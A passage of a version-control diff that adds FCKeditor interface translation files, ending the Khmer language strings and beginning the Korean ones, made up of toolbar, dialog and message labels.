+Font				: "ហ្វុង",
+FontSize			: "ទំហំ",
+TextColor			: "ពណ៌អក្សរ",
+BGColor				: "ពណ៌ផ្ទៃខាងក្រោយ",
+Source				: "កូត",
+Find				: "ស្វែងរក",
+Replace				: "ជំនួស",
+SpellCheck			: "ពិនិត្យអក្ខរាវិរុទ្ធ",
+UniversalKeyboard	: "ក្តារពុម្ភអក្សរសកល",
+PageBreakLbl		: "ការផ្តាច់ទំព័រ",
+PageBreak			: "បន្ថែម ការផ្តាច់ទំព័រ",
+
+Form			: "បែបបទ",
+Checkbox		: "ប្រអប់ជ្រើសរើស",
+RadioButton		: "ប៉ូតុនរង្វង់មូល",
+TextField		: "ជួរសរសេរអត្ថបទ",
+Textarea		: "តំបន់សរសេរអត្ថបទ",
+HiddenField		: "ជួរលាក់",
+Button			: "ប៉ូតុន",
+SelectionField	: "ជួរជ្រើសរើស",
+ImageButton		: "ប៉ូតុនរូបភាព",
+
+FitWindow		: "Maximize the editor size",	//MISSING
+
+// Context Menu
+EditLink			: "កែប្រែឈ្នាប់",
+CellCM				: "Cell",	//MISSING
+RowCM				: "Row",	//MISSING
+ColumnCM			: "Column",	//MISSING
+InsertRow			: "បន្ថែមជួរផ្តេក",
+DeleteRows			: "លប់ជួរផ្តេក",
+InsertColumn		: "បន្ថែមជួរឈរ",
+DeleteColumns		: "លប់ជួរឈរ",
+InsertCell			: "បន្ថែម សែល",
+DeleteCells			: "លប់សែល",
+MergeCells			: "បញ្ជូលសែល",
+SplitCell			: "ផ្តាច់សែល",
+TableDelete			: "លប់តារាង",
+CellProperties		: "ការកំណត់សែល",
+TableProperties		: "ការកំណត់តារាង",
+ImageProperties		: "ការកំណត់រូបភាព",
+FlashProperties		: "ការកំណត់ Flash",
+
+AnchorProp			: "ការកំណត់យុថ្កា",
+ButtonProp			: "ការកំណត់ ប៉ូតុន",
+CheckboxProp		: "ការកំណត់ប្រអប់ជ្រើសរើស",
+HiddenFieldProp		: "ការកំណត់ជួរលាក់",
+RadioButtonProp		: "ការកំណត់ប៉ូតុនរង្វង់",
+ImageButtonProp		: "ការកំណត់ប៉ូតុនរូបភាព",
+TextFieldProp		: "ការកំណត់ជួរអត្ថបទ",
+SelectionFieldProp	: "ការកំណត់ជួរជ្រើសរើស",
+TextareaProp		: "ការកំណត់កន្លែងសរសេរអត្ថបទ",
+FormProp			: "ការកំណត់បែបបទ",
+
+FontFormats			: "Normal;Formatted;Address;Heading 1;Heading 2;Heading 3;Heading 4;Heading 5;Heading 6;Normal (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "កំពុងដំណើរការ XHTML ។ សូមរងចាំ...",
+Done				: "ចប់រួចរាល់",
+PasteWordConfirm	: "អត្ថបទដែលលោកអ្នកបំរុងចំលងដាក់ ហាក់បីដូចជាត្រូវចំលងមកពីកម្មវិធី​Word​។ តើលោកអ្នកចង់សំអាតមុនចំលងអត្ថបទដាក់ទេ?",
+NotCompatiblePaste	: "ពាក្យបញ្ជានេះប្រើបានតែជាមួយ Internet Explorer កំរិត 5.5 រឺ លើសនេះ ។ តើលោកអ្នកចង់ចំលងដាក់ដោយមិនចាំបាច់សំអាតទេ?",
+UnknownToolbarItem	: "វត្ថុលើរបាឧបរកណ៍ មិនស្គាល់ \"%1\"",
+UnknownCommand		: "ឈ្មោះពាក្យបញ្ជា មិនស្គាល់ \"%1\"",
+NotImplemented		: "ពាក្យបញ្ជា មិនបានអនុវត្ត",
+UnknownToolbarSet	: "របាឧបរកណ៍ \"%1\" ពុំមាន ។",
+NoActiveX			: "ការកំណត់សុវត្ថភាពរបស់កម្មវិធីរុករករបស់លោកអ្នក នេះ​អាចធ្វើអោយលោកអ្នកមិនអាចប្រើមុខងារខ្លះរបស់កម្មវិធីតាក់តែងអត្ថបទនេះ ។ លោកអ្នកត្រូវកំណត់អោយ \"ActiveX និង​កម្មវិធីជំនួយក្នុង (plug-ins)\" អោយដំណើរការ ។ លោកអ្នកអាចជួបប្រទះនឹង បញ្ហា ព្រមជាមួយនឹងការបាត់បង់មុខងារណាមួយរបស់កម្មវិធីតាក់តែងអត្ថបទនេះ ។",
+BrowseServerBlocked : "The resources browser could not be opened. Make sure that all popup blockers are disabled.",	//MISSING
+DialogBlocked		: "វីនដូវមិនអាចបើកបានទេ ។ សូមពិនិត្យចំពោះកម្មវិធីបិទ វីនដូវលោត (popup) ថាតើវាដំណើរការរឺទេ ។",
+
+// Dialogs
+DlgBtnOK			: "យល់ព្រម",
+DlgBtnCancel		: "មិនយល់ព្រម",
+DlgBtnClose			: "បិទ",
+DlgBtnBrowseServer	: "មើល",
+DlgAdvancedTag		: "កំរិតខ្ពស់",
+DlgOpOther			: "<ផ្សេងទៅត>",
+DlgInfoTab			: "ពត៌មាន",
+DlgAlertUrl			: "សូមសរសេរ URL",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<មិនមែន>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "ទិសដៅភាសា",
+DlgGenLangDirLtr	: "ពីឆ្វេងទៅស្តាំ(LTR)",
+DlgGenLangDirRtl	: "ពីស្តាំទៅឆ្វេង(RTL)",
+DlgGenLangCode		: "លេខកូតភាសា",
+DlgGenAccessKey		: "ឃី សំរាប់ចូល",
+DlgGenName			: "ឈ្មោះ",
+DlgGenTabIndex		: "លេខ Tab",
+DlgGenLongDescr		: "អធិប្បាយ URL វែង",
+DlgGenClass			: "Stylesheet Classes",
+DlgGenTitle			: "ចំណងជើង ប្រឹក្សា",
+DlgGenContType		: "ប្រភេទអត្ថបទ ប្រឹក្សា",
+DlgGenLinkCharset	: "លេខកូតអក្សររបស់ឈ្នាប់",
+DlgGenStyle			: "ម៉ូត",
+
+// Image Dialog
+DlgImgTitle			: "ការកំណត់រូបភាព",
+DlgImgInfoTab		: "ពត៌មានអំពីរូបភាព",
+DlgImgBtnUpload		: "បញ្ជូនទៅកាន់ម៉ាស៊ីនផ្តល់សេវា",
+DlgImgURL			: "URL",
+DlgImgUpload		: "ទាញយក",
+DlgImgAlt			: "អត្ថបទជំនួស",
+DlgImgWidth			: "ទទឹង",
+DlgImgHeight		: "កំពស់",
+DlgImgLockRatio		: "អត្រាឡុក",
+DlgBtnResetSize		: "កំណត់ទំហំឡើងវិញ",
+DlgImgBorder		: "ស៊ុម",
+DlgImgHSpace		: "គំលាតទទឹង",
+DlgImgVSpace		: "គំលាតបណ្តោយ",
+DlgImgAlign			: "កំណត់ទីតាំង",
+DlgImgAlignLeft		: "ខាងឆ្វង",
+DlgImgAlignAbsBottom: "Abs Bottom",	//MISSING
+DlgImgAlignAbsMiddle: "Abs Middle",	//MISSING
+DlgImgAlignBaseline	: "បន្ទាត់ជាមូលដ្ឋាន",
+DlgImgAlignBottom	: "ខាងក្រោម",
+DlgImgAlignMiddle	: "កណ្តាល",
+DlgImgAlignRight	: "ខាងស្តាំ",
+DlgImgAlignTextTop	: "លើអត្ថបទ",
+DlgImgAlignTop		: "ខាងលើ",
+DlgImgPreview		: "មើលសាកល្បង",
+DlgImgAlertUrl		: "សូមសរសេរងាស័យដ្ឋានរបស់រូបភាព",
+DlgImgLinkTab		: "ឈ្នាប់",
+
+// Flash Dialog
+DlgFlashTitle		: "ការកំណត់ Flash",
+DlgFlashChkPlay		: "លេងដោយស្វ័យប្រវត្ត",
+DlgFlashChkLoop		: "ចំនួនដង",
+DlgFlashChkMenu		: "បង្ហាញ មឺនុយរបស់ Flash",
+DlgFlashScale		: "ទំហំ",
+DlgFlashScaleAll	: "បង្ហាញទាំងអស់",
+DlgFlashScaleNoBorder	: "មិនបង្ហាញស៊ុម",
+DlgFlashScaleFit	: "ត្រូវល្មម",
+
+// Link Dialog
+DlgLnkWindowTitle	: "ឈ្នាប់",
+DlgLnkInfoTab		: "ពត៌មានអំពីឈ្នាប់",
+DlgLnkTargetTab		: "គោលដៅ",
+
+DlgLnkType			: "ប្រភេទឈ្នាប់",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "យុថ្កានៅក្នុងទំព័រនេះ",
+DlgLnkTypeEMail		: "អ៊ីមែល",
+DlgLnkProto			: "ប្រូតូកូល",
+DlgLnkProtoOther	: "<ផ្សេងទៀត>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "ជ្រើសរើសយុថ្កា",
+DlgLnkAnchorByName	: "តាមឈ្មោះរបស់យុថ្កា",
+DlgLnkAnchorById	: "តាម Id",
+DlgLnkNoAnchors		: "<ពុំមានយុថ្កានៅក្នុងឯកសារនេះទេ>",
+DlgLnkEMail			: "អ៊ីមែល",
+DlgLnkEMailSubject	: "ចំណងជើងអត្ថបទ",
+DlgLnkEMailBody		: "អត្ថបទ",
+DlgLnkUpload		: "ទាញយក",
+DlgLnkBtnUpload		: "ទាញយក",
+
+DlgLnkTarget		: "គោលដៅ",
+DlgLnkTargetFrame	: "<ហ្វ្រេម>",
+DlgLnkTargetPopup	: "<វីនដូវ លោត>",
+DlgLnkTargetBlank	: "វីនដូវថ្មី (_blank)",
+DlgLnkTargetParent	: "វីនដូវមេ (_parent)",
+DlgLnkTargetSelf	: "វីនដូវដដែល (_self)",
+DlgLnkTargetTop		: "វីនដូវនៅលើគេ(_top)",
+DlgLnkTargetFrameName	: "ឈ្មោះហ្រ្វេមដែលជាគោលដៅ",
+DlgLnkPopWinName	: "ឈ្មោះវីនដូវលោត",
+DlgLnkPopWinFeat	: "លក្ខណះរបស់វីនដូលលោត",
+DlgLnkPopResize		: "ទំហំអាចផ្លាស់ប្តូរ",
+DlgLnkPopLocation	: "របា ទីតាំង",
+DlgLnkPopMenu		: "របា មឺនុយ",
+DlgLnkPopScroll		: "របា ទាញ",
+DlgLnkPopStatus		: "របា ពត៌មាន",
+DlgLnkPopToolbar	: "របា ឩបករណ៍",
+DlgLnkPopFullScrn	: "អេក្រុងពេញ(IE)",
+DlgLnkPopDependent	: "អាស្រ័យលើ (Netscape)",
+DlgLnkPopWidth		: "ទទឹង",
+DlgLnkPopHeight		: "កំពស់",
+DlgLnkPopLeft		: "ទីតាំងខាងឆ្វេង",
+DlgLnkPopTop		: "ទីតាំងខាងលើ",
+
+DlnLnkMsgNoUrl		: "សូមសរសេរ អាស័យដ្ឋាន URL",
+DlnLnkMsgNoEMail	: "សូមសរសេរ អាស័យដ្ឋាន អ៊ីមែល",
+DlnLnkMsgNoAnchor	: "សូមជ្រើសរើស យុថ្កា",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "ជ្រើសរើស ពណ៌",
+DlgColorBtnClear	: "លប់",
+DlgColorHighlight	: "ផាត់ពណ៌",
+DlgColorSelected	: "បានជ្រើសរើស",
+
+// Smiley Dialog
+DlgSmileyTitle		: "បញ្ជូលរូបភាព",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "តូអក្សរពិសេស",
+
+// Table Dialog
+DlgTableTitle		: "ការកំណត់ តារាង",
+DlgTableRows		: "ជួរផ្តេក",
+DlgTableColumns		: "ជួរឈរ",
+DlgTableBorder		: "ទំហំស៊ុម",
+DlgTableAlign		: "ការកំណត់ទីតាំង",
+DlgTableAlignNotSet	: "<មិនកំណត់>",
+DlgTableAlignLeft	: "ខាងឆ្វេង",
+DlgTableAlignCenter	: "កណ្តាល",
+DlgTableAlignRight	: "ខាងស្តាំ",
+DlgTableWidth		: "ទទឹង",
+DlgTableWidthPx		: "ភីកសែល",
+DlgTableWidthPc		: "ភាគរយ",
+DlgTableHeight		: "កំពស់",
+DlgTableCellSpace	: "គំលាតសែល",
+DlgTableCellPad		: "គែមសែល",
+DlgTableCaption		: "ចំណងជើង",
+DlgTableSummary		: "សេចក្តីសង្ខេប",
+
+// Table Cell Dialog
+DlgCellTitle		: "ការកំណត់ សែល",
+DlgCellWidth		: "ទទឹង",
+DlgCellWidthPx		: "ភីកសែល",
+DlgCellWidthPc		: "ភាគរយ",
+DlgCellHeight		: "កំពស់",
+DlgCellWordWrap		: "បង្ហាញអត្ថបទទាំងអស់",
+DlgCellWordWrapNotSet	: "<មិនកំណត់>",
+DlgCellWordWrapYes	: "បាទ(ចា)",
+DlgCellWordWrapNo	: "ទេ",
+DlgCellHorAlign		: "តំរឹមផ្តេក",
+DlgCellHorAlignNotSet	: "<មិនកំណត់>",
+DlgCellHorAlignLeft	: "ខាងឆ្វេង",
+DlgCellHorAlignCenter	: "កណ្តាល",
+DlgCellHorAlignRight: "Right",	//MISSING
+DlgCellVerAlign		: "តំរឹមឈរ",
+DlgCellVerAlignNotSet	: "<មិនកណត់>",
+DlgCellVerAlignTop	: "ខាងលើ",
+DlgCellVerAlignMiddle	: "កណ្តាល",
+DlgCellVerAlignBottom	: "ខាងក្រោម",
+DlgCellVerAlignBaseline	: "បន្ទាត់ជាមូលដ្ឋាន",
+DlgCellRowSpan		: "បញ្ជូលជួរផ្តេក",
+DlgCellCollSpan		: "បញ្ជូលជួរឈរ",
+DlgCellBackColor	: "ពណ៌ផ្នែកខាងក្រោម",
+DlgCellBorderColor	: "ពណ៌ស៊ុម",
+DlgCellBtnSelect	: "ជ្រើសរើស...",
+
+// Find Dialog
+DlgFindTitle		: "ស្វែងរក",
+DlgFindFindBtn		: "ស្វែងរក",
+DlgFindNotFoundMsg	: "ពាក្យនេះ រកមិនឃើញទេ ។",
+
+// Replace Dialog
+DlgReplaceTitle			: "ជំនួស",
+DlgReplaceFindLbl		: "ស្វែងរកអ្វី:",
+DlgReplaceReplaceLbl	: "ជំនួសជាមួយ:",
+DlgReplaceCaseChk		: "ករណ៉ត្រូវរក",
+DlgReplaceReplaceBtn	: "ជំនួស",
+DlgReplaceReplAllBtn	: "ជំនួសទាំងអស់",
+DlgReplaceWordChk		: "ត្រូវពាក្យទាំងអស់",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Your browser security settings don't permit the editor to automatically execute pasting operations. Please use the keyboard for that (Ctrl+V).",	//MISSING
+PasteErrorCut	: "ការកំណត់សុវត្ថភាពរបស់កម្មវិធីរុករករបស់លោកអ្នក នេះ​មិនអាចធ្វើកម្មវិធីតាក់តែងអត្ថបទ កាត់អត្ថបទយកដោយស្វ័យប្រវត្តបានឡើយ ។ សូមប្រើប្រាស់បន្សំ ឃីដូចនេះ  (Ctrl+X) ។",
+PasteErrorCopy	: "ការកំណត់សុវត្ថភាពរបស់កម្មវិធីរុករករបស់លោកអ្នក នេះ​មិនអាចធ្វើកម្មវិធីតាក់តែងអត្ថបទ ចំលងអត្ថបទយកដោយស្វ័យប្រវត្តបានឡើយ ។ សូមប្រើប្រាស់បន្សំ ឃីដូចនេះ (Ctrl+C)។",
+
+PasteAsText		: "ចំលងដាក់អត្ថបទធម្មតា",
+PasteFromWord	: "ចំលងពាក្យពីកម្មវិធី Word",
+
+DlgPasteMsg2	: "សូមចំលងអត្ថបទទៅដាក់ក្នុងប្រអប់ដូចខាងក្រោមដោយប្រើប្រាស់ ឃី ​(<STRONG>Ctrl+V</STRONG>) ហើយចុច <STRONG>OK</STRONG> ។",
+DlgPasteIgnoreFont		: "មិនគិតអំពីប្រភេទពុម្ភអក្សរ",
+DlgPasteRemoveStyles	: "លប់ម៉ូត",
+DlgPasteCleanBox		: "លប់អត្ថបទចេញពីប្រអប់",
+
+// Color Picker
+ColorAutomatic	: "ស្វ័យប្រវត្ត",
+ColorMoreColors	: "ពណ៌ផ្សេងទៀត..",
+
+// Document Properties
+DocProps		: "ការកំណត់ ឯកសារ",
+
+// Anchor Dialog
+DlgAnchorTitle		: "ការកំណត់ចំណងជើងយុទ្ធថ្កា",
+DlgAnchorName		: "ឈ្មោះយុទ្ធថ្កា",
+DlgAnchorErrorName	: "សូមសរសេរ ឈ្មោះយុទ្ធថ្កា",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "គ្មានក្នុងវចនានុក្រម",
+DlgSpellChangeTo		: "ផ្លាស់ប្តូរទៅ",
+DlgSpellBtnIgnore		: "មិនផ្លាស់ប្តូរ",
+DlgSpellBtnIgnoreAll	: "មិនផ្លាស់ប្តូរ ទាំងអស់",
+DlgSpellBtnReplace		: "ជំនួស",
+DlgSpellBtnReplaceAll	: "ជំនួសទាំងអស់",
+DlgSpellBtnUndo			: "សារឡើងវិញ",
+DlgSpellNoSuggestions	: "- គ្មានសំណើរ -",
+DlgSpellProgress		: "កំពុងពិនិត្យអក្ខរាវិរុទ្ធ...",
+DlgSpellNoMispell		: "ការពិនិត្យអក្ខរាវិរុទ្ធបានចប់: គ្មានកំហុស",
+DlgSpellNoChanges		: "ការពិនិត្យអក្ខរាវិរុទ្ធបានចប់: ពុំមានផ្លាស់ប្តូរ",
+DlgSpellOneChange		: "ការពិនិត្យអក្ខរាវិរុទ្ធបានចប់: ពាក្យមួយត្រូចបានផ្លាស់ប្តូរ",
+DlgSpellManyChanges		: "ការពិនិត្យអក្ខរាវិរុទ្ធបានចប់: %1 ពាក្យបានផ្លាស់ប្តូរ",
+
+IeSpellDownload			: "ពុំមានកម្មវិធីពិនិត្យអក្ខរាវិរុទ្ធ ។ តើចង់ទាញយកពីណា?",
+
+// Button Dialog
+DlgButtonText		: "អត្ថបទ(តំលៃ)",
+DlgButtonType		: "ប្រភេទ",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "ឈ្មោះ",
+DlgCheckboxValue	: "តំលៃ",
+DlgCheckboxSelected	: "បានជ្រើសរើស",
+
+// Form Dialog
+DlgFormName		: "ឈ្មោះ",
+DlgFormAction	: "សកម្មភាព",
+DlgFormMethod	: "វិធី",
+
+// Select Field Dialog
+DlgSelectName		: "ឈ្មោះ",
+DlgSelectValue		: "តំលៃ",
+DlgSelectSize		: "ទំហំ",
+DlgSelectLines		: "បន្ទាត់",
+DlgSelectChkMulti	: "អនុញ្ញាតអោយជ្រើសរើសច្រើន",
+DlgSelectOpAvail	: "ការកំណត់ជ្រើសរើស ដែលអាចកំណត់បាន",
+DlgSelectOpText		: "ពាក្យ",
+DlgSelectOpValue	: "តំលៃ",
+DlgSelectBtnAdd		: "បន្ថែម",
+DlgSelectBtnModify	: "ផ្លាស់ប្តូរ",
+DlgSelectBtnUp		: "លើ",
+DlgSelectBtnDown	: "ក្រោម",
+DlgSelectBtnSetValue : "Set as selected value",	//MISSING
+DlgSelectBtnDelete	: "លប់",
+
+// Textarea Dialog
+DlgTextareaName	: "ឈ្មោះ",
+DlgTextareaCols	: "ជូរឈរ",
+DlgTextareaRows	: "ជូរផ្តេក",
+
+// Text Field Dialog
+DlgTextName			: "ឈ្មោះ",
+DlgTextValue		: "តំលៃ",
+DlgTextCharWidth	: "ទទឹង អក្សរ",
+DlgTextMaxChars		: "អក្សរអតិបរិមា",
+DlgTextType			: "ប្រភេទ",
+DlgTextTypeText		: "ពាក្យ",
+DlgTextTypePass		: "ពាក្យសំងាត់",
+
+// Hidden Field Dialog
+DlgHiddenName	: "ឈ្មោះ",
+DlgHiddenValue	: "តំលៃ",
+
+// Bulleted List Dialog
+BulletedListProp	: "កំណត់បញ្ជីរង្វង់",
+NumberedListProp	: "កំណត់បញ្េជីលេខ",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "ប្រភេទ",
+DlgLstTypeCircle	: "រង្វង់",
+DlgLstTypeDisc		: "Disc",
+DlgLstTypeSquare	: "ការេ",
+DlgLstTypeNumbers	: "លេខ(1, 2, 3)",
+DlgLstTypeLCase		: "អក្សរតូច(a, b, c)",
+DlgLstTypeUCase		: "អក្សរធំ(A, B, C)",
+DlgLstTypeSRoman	: "អក្សរឡាតាំងតូច(i, ii, iii)",
+DlgLstTypeLRoman	: "អក្សរឡាតាំងធំ(I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "ទូទៅ",
+DlgDocBackTab		: "ផ្នែកខាងក្រោយ",
+DlgDocColorsTab		: "ទំព័រ​និង ស៊ុម",
+DlgDocMetaTab		: "ទិន្នន័យមេ",
+
+DlgDocPageTitle		: "ចំណងជើងទំព័រ",
+DlgDocLangDir		: "ទិសដៅសរសេរភាសា",
+DlgDocLangDirLTR	: "ពីឆ្វេងទៅស្ដាំ(LTR)",
+DlgDocLangDirRTL	: "ពីស្ដាំទៅឆ្វេង(RTL)",
+DlgDocLangCode		: "លេខកូតភាសា",
+DlgDocCharSet		: "កំណត់លេខកូតភាសា",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "កំណត់លេខកូតភាសាផ្សេងទៀត",
+
+DlgDocDocType		: "ប្រភេទក្បាលទំព័រ",
+DlgDocDocTypeOther	: "ប្រភេទក្បាលទំព័រផ្សេងទៀត",
+DlgDocIncXHTML		: "បញ្ជូល XHTML",
+DlgDocBgColor		: "ពណ៌ខាងក្រោម",
+DlgDocBgImage		: "URL របស់រូបភាពខាងក្រោម",
+DlgDocBgNoScroll	: "ទំព័រក្រោមមិនប្តូរ",
+DlgDocCText			: "អត្តបទ",
+DlgDocCLink			: "ឈ្នាប់",
+DlgDocCVisited		: "ឈ្នាប់មើលហើយ",
+DlgDocCActive		: "ឈ្នាប់កំពុងមើល",
+DlgDocMargins		: "ស៊ុមទំព័រ",
+DlgDocMaTop			: "លើ",
+DlgDocMaLeft		: "ឆ្វេង",
+DlgDocMaRight		: "ស្ដាំ",
+DlgDocMaBottom		: "ក្រោម",
+DlgDocMeIndex		: "ពាក្យនៅក្នុងឯកសារ (ផ្តាច់ពីគ្នាដោយក្បៀស)",
+DlgDocMeDescr		: "សេចក្តីអត្ថាធិប្បាយអំពីឯកសារ",
+DlgDocMeAuthor		: "អ្នកនិពន្ធ",
+DlgDocMeCopy		: "រក្សាសិទ្ធិ៏",
+DlgDocPreview		: "មើលសាកល្បង",
+
+// Templates Dialog
+Templates			: "ឯកសារគំរូ",
+DlgTemplatesTitle	: "ឯកសារគំរូ របស់អត្ថន័យ",
+DlgTemplatesSelMsg	: "សូមជ្រើសរើសឯកសារគំរូ ដើម្បីបើកនៅក្នុងកម្មវិធីតាក់តែងអត្ថបទ<br>(អត្ថបទនឹងបាត់បង់):",
+DlgTemplatesLoading	: "កំពុងអានបញ្ជីឯកសារគំរូ ។ សូមរងចាំ...",
+DlgTemplatesNoTpl	: "(ពុំមានឯកសារគំរូត្រូវបានកំណត់)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "អំពី",
+DlgAboutBrowserInfoTab	: "ព៌តមានកម្មវិធីរុករក",
+DlgAboutLicenseTab	: "License",	//MISSING
+DlgAboutVersion		: "ជំនាន់",
+DlgAboutLicense		: "Licensed under the terms of the GNU Lesser General Public License",
+DlgAboutInfo		: "សំរាប់ព៌តមានផ្សេងទៀត សូមទាក់ទង"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/ko.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/ko.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/ko.js	(revision 44)
@@ -0,0 +1,502 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: ko.js
+ * 	Korean language file.
+ * 
+ * File Authors:
+ * 		Taehwan Kwag (thkwag@nate.com)
+ * 		Hyung-chae, Kim (chaeya@gmail.com)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "툴바 감추기",
+ToolbarExpand		: "툴바 보이기",
+
+// Toolbar Items and Context Menu
+Save				: "저장하기",
+NewPage				: "새 문서",
+Preview				: "미리보기",
+Cut					: "잘라내기",
+Copy				: "복사하기",
+Paste				: "붙여넣기",
+PasteText			: "텍스트로 붙여넣기",
+PasteWord			: "MS Word 형식에서 붙여넣기",
+Print				: "인쇄하기",
+SelectAll			: "전체선택",
+RemoveFormat		: "포맷 지우기",
+InsertLinkLbl		: "링크",
+InsertLink			: "링크 삽입/변경",
+RemoveLink			: "링크 삭제",
+Anchor				: "책갈피 삽입/변경",
+InsertImageLbl		: "이미지",
+InsertImage			: "이미지 삽입/변경",
+InsertFlashLbl		: "플래쉬",
+InsertFlash			: "플래쉬 삽입/변경",
+InsertTableLbl		: "표",
+InsertTable			: "표 삽입/변경",
+InsertLineLbl		: "수평선",
+InsertLine			: "수평선 삽입",
+InsertSpecialCharLbl: "특수문자 삽입",
+InsertSpecialChar	: "특수문자 삽입",
+InsertSmileyLbl		: "아이콘",
+InsertSmiley		: "아이콘 삽입",
+About				: "FCKeditor에 대하여",
+Bold				: "진하게",
+Italic				: "이텔릭",
+Underline			: "밑줄",
+StrikeThrough		: "취소선",
+Subscript			: "아래 첨자",
+Superscript			: "위 첨자",
+LeftJustify			: "왼쪽 정렬",
+CenterJustify		: "가운데 정렬",
+RightJustify		: "오른쪽 정렬",
+BlockJustify		: "양쪽 맞춤",
+DecreaseIndent		: "내어쓰기",
+IncreaseIndent		: "들여쓰기",
+Undo				: "취소",
+Redo				: "재실행",
+NumberedListLbl		: "순서있는 목록",
+NumberedList		: "순서있는 목록",
+BulletedListLbl		: "순서없는 목록",
+BulletedList		: "순서없는 목록",
+ShowTableBorders	: "표 테두리 보기",
+ShowDetails			: "문서기호 보기",
+Style				: "스타일",
+FontFormat			: "포맷",
+Font				: "폰트",
+FontSize			: "글자 크기",
+TextColor			: "글자 색상",
+BGColor				: "배경 색상",
+Source				: "소스",
+Find				: "찾기",
+Replace				: "바꾸기",
+SpellCheck			: "철자검사",
+UniversalKeyboard	: "다국어 입력기",
+PageBreakLbl		: "Page Break",	//MISSING
+PageBreak			: "Insert Page Break",	//MISSING
+
+Form			: "폼",
+Checkbox		: "체크박스",
+RadioButton		: "라디오버튼",
+TextField		: "입력필드",
+Textarea		: "입력영역",
+HiddenField		: "숨김필드",
+Button			: "버튼",
+SelectionField	: "펼침목록",
+ImageButton		: "이미지버튼",
+
+FitWindow		: "Maximize the editor size",	//MISSING
+
+// Context Menu
+EditLink			: "링크 수정",
+CellCM				: "Cell",	//MISSING
+RowCM				: "Row",	//MISSING
+ColumnCM			: "Column",	//MISSING
+InsertRow			: "가로줄 삽입",
+DeleteRows			: "가로줄 삭제",
+InsertColumn		: "세로줄 삽입",
+DeleteColumns		: "세로줄 삭제",
+InsertCell			: "셀 삽입",
+DeleteCells			: "셀 삭제",
+MergeCells			: "셀 합치기",
+SplitCell			: "셀 나누기",
+TableDelete			: "Delete Table",	//MISSING
+CellProperties		: "셀 속성",
+TableProperties		: "표 속성",
+ImageProperties		: "이미지 속성",
+FlashProperties		: "플래쉬 속성",
+
+AnchorProp			: "책갈피 속성",
+ButtonProp			: "버튼 속성",
+CheckboxProp		: "체크박스 속성",
+HiddenFieldProp		: "숨김필드 속성",
+RadioButtonProp		: "라디오버튼 속성",
+ImageButtonProp		: "이미지버튼 속성",
+TextFieldProp		: "입력필드 속성",
+SelectionFieldProp	: "펼침목록 속성",
+TextareaProp		: "입력영역 속성",
+FormProp			: "폼 속성",
+
+FontFormats			: "Normal;Formatted;Address;Heading 1;Heading 2;Heading 3;Heading 4;Heading 5;Heading 6",
+
+// Alerts and Messages
+ProcessingXHTML		: "XHTML 처리중. 잠시만 기다려주십시요.",
+Done				: "완료",
+PasteWordConfirm	: "붙여넣기 할 텍스트는 MS Word에서 복사한 것입니다. 붙여넣기 전에 MS Word 포멧을 삭제하시겠습니까?",
+NotCompatiblePaste	: "이 명령은 인터넷익스플로러 5.5 버전 이상에서만 작동합니다. 포멧을 삭제하지 않고 붙여넣기 하시겠습니까?",
+UnknownToolbarItem	: "알수없는 툴바입니다. : \"%1\"",
+UnknownCommand		: "알수없는 기능입니다. : \"%1\"",
+NotImplemented		: "기능이 실행되지 않았습니다.",
+UnknownToolbarSet	: "툴바 설정이 없습니다. : \"%1\"",
+NoActiveX			: "Your browser's security settings could limit some features of the editor. You must enable the option \"Run ActiveX controls and plug-ins\". You may experience errors and notice missing features.",	//MISSING
+BrowseServerBlocked : "The resources browser could not be opened. Make sure that all popup blockers are disabled.",	//MISSING
+DialogBlocked		: "It was not possible to open the dialog window. Make sure all popup blockers are disabled.",	//MISSING
+
+// Dialogs
+DlgBtnOK			: "예",
+DlgBtnCancel		: "아니오",
+DlgBtnClose			: "닫기",
+DlgBtnBrowseServer	: "서버 보기",
+DlgAdvancedTag		: "자세히",
+DlgOpOther			: "<기타>",
+DlgInfoTab			: "정보",
+DlgAlertUrl			: "URL을 입력하십시요",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<설정되지 않음>",
+DlgGenId			: "ID",
+DlgGenLangDir		: "쓰기 방향",
+DlgGenLangDirLtr	: "왼쪽에서 오른쪽 (LTR)",
+DlgGenLangDirRtl	: "오른쪽에서 왼쪽 (RTL)",
+DlgGenLangCode		: "언어 코드",
+DlgGenAccessKey		: "엑세스 키",
